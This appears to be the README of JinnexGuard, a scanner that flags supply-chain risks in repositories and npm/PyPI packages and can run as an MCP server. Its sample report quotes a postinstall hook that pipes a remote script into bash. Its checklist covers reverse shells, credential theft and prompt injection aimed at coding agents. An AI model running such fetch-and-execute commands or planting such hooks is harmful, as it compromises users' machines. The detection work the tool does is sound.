JinnexGuard

Risk signals for a GitHub repository or an npm/PyPI package, with evidence. Run it before you install, clone or run something you don't know — before npx … setup, npm install or pip install. For a package, it compares what actually gets installed with the repository it claims to come from.

$ jinnexguard ./demo-helper
Target: ./demo-helper  (local)
Status: complete — Risk signals, not a trust verdict. Review the evidence of each finding.
Signals: 🔴 1 critical, 🟠 1 high

🔴 [CRITICAL] Downloads and runs a remote script (curl|bash) (scripts/setup.js)
   at scripts/setup.js:2
   evidence: execSync("curl -fsSL https://get.example.dev/init.sh | bash");
   Fetches code from the internet and runs it right away; nobody sees what it is.

🟠 [HIGH] npm runs 'postinstall' on install (package.json)
   at package.json:5
   evidence: postinstall: node scripts/setup.js
   This script runs on its own with `npm install`, without confirmation. It is the classic npm malware vector. Read the whole command.

Principles

• No "trusted" verdict. A green badge that is wrong is worse than none: it lowers your guard. Some of the worst supply-chain attacks (xz-utils, event-stream) came from projects with a spotless reputation. JinnexGuard surfaces signals with evidence — file, line and the actual snippet — and leaves the judgment to you.

• It never runs the target's code. Repositories are cloned shallow, with git hooks disabled and without submodules; packages are downloaded and extracted as data. Files are only read.

• The engine is pure standard library, on purpose: easy to audit and no dependencies to watch. Only the optional MCP layer adds one (mcp).

Related MCP server: EVIDIQ Lineage

Install

Requires Python 3.11+ and git. Works on Linux, macOS and Windows.

pipx install jinnexguard          # or: uv tool install jinnexguard
uvx jinnexguard owner/repo        # run once without installing
pip install jinnexguard           # inside a virtual environment

For the MCP server, add the mcp extra: pipx install 'jinnexguard[mcp]'.

Usage

jinnexguard owner/repo                    # a GitHub repository
jinnexguard https://gitlab.com/group/project
jinnexguard ./path/to/a/repo              # a local folder
jinnexguard npm:some-package              # what npm installs vs. its repository
jinnexguard pypi:some-package==1.2.3      # a specific version
jinnexguard owner/repo --online           # add reputation from the GitHub API
jinnexguard ./my-repo --history           # secrets anywhere in git history
jinnexguard owner/repo --json             # machine-readable report
jinnexguard owner/repo --full             # do not group repeated findings

Targets can be owner/repo, an https:// URL on GitHub, GitLab, Codeberg or Bitbucket, a local folder, npm:name[@version] or pypi:name[==version].

Exit codes

That makes it usable as a gate in a hook or CI job, for example jinnexguard . || [ $? -lt 3 ] to fail only on high or critical.

As an MCP server

The same server works with any MCP client: Claude Code, Codex, Cursor, Gemini CLI and others. With Claude Code:

claude mcp add --scope user jinnexguard -- uvx --from 'jinnexguard[mcp]' jinnexguard-mcp

For clients configured with JSON:

{
  "mcpServers": {
    "jinnexguard": {
      "command": "uvx",
      "args": ["--from", "jinnexguard[mcp]", "jinnexguard-mcp"]
    }
  }
}

It exposes one tool: assess_repo(target, online=False, history=False, full=False).

What it checks

In a git repository it scans what a commit would include (tracked files plus new files that are not ignored); a folder without .git is scanned entirely.

1. Install-time scripts — npm lifecycle hooks, setup.py and Python build backends, .pth files, devcontainers, VS Code tasks that start on their own, and dependencies that ship their own install script.

2. Dangerous patterns — curl | bash, reverse shells, obfuscated code that gets executed, code downloaded and run, hard-coded IP addresses, sudo and friends, invisible bidirectional characters (Trojan Source).

3. Credential theft and exfiltration — reads of local credential files, dumps of the whole environment, data sent to known collection endpoints.

4. Secrets in the code — provider tokens (GitHub, Anthropic, OpenAI, AWS, Google, Slack, Stripe and more), private keys and hard-coded credentials. Evidence is masked, so the report is safe to share.

5. Secrets in git history (optional, --history) — keys that are gone from the current code but still live in a commit.

6. AI agents — what a repository does to, or tells, your coding agent: code that edits agent configuration or adds persistence, instruction files (SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules…), signs of prompt injection in docs and hidden comments, project settings an agent loads (.claude/settings.json, .mcp.json), and AI CLIs launched without their safeguards.

7. Repository supply chain — GitHub Actions workflows with dangerous triggers or permissions, shell injection in run:, actions not pinned to a commit SHA, submodules.

8. Impersonation — package names that are nearly identical to popular ones.

9. Precompiled binaries — programs, libraries and kernel drivers committed to the repository (Windows, Linux and macOS formats, recognized by their headers and never run), and whether the code, a script or the agent instructions start them. Nobody can check that a binary matches its source.

10. Published package vs. repository — what npm install or pip install downloads does not have to come from the repository shown on its page (the xz-utils backdoor lived in the release tarball, not in git). JinnexGuard downloads the artifact, extracts it as data and compares it with the repository at that version's commit or tag, using provenance (npm SLSA, PyPI Trusted Publishing) when it exists.

11. Reputation (optional, --online) — age, stars vs. age, owner account. Context, not a verdict.

Each finding has a severity (info to critical), a file, a line and the actual snippet. Repeated findings are grouped with a count and more_locations; --full (CLI) or full=True (MCP) lists them one by one.

The report quotes untrusted content

Evidence, paths and titles come from the target, and a malicious README could try to slip an instruction into them for the agent that reads the report. So evidence is truncated, invisible characters are shown escaped, and every report carries an untrusted_content field stating that all of it is data, never instructions.

Limits

JinnexGuard finds signals through patterns; it does not prove that a repository or package is safe.

Development

git clone https://github.com/ricardorincon719/jinnexguard.git
cd jinnexguard
python -m venv .venv && . .venv/bin/activate
pip install -e '.[mcp]'
python -m unittest discover -s tests

Security

If you find a vulnerability in JinnexGuard itself, please report it privately as described in SECURITY.md, not in a public issue.

License

Apache License 2.0.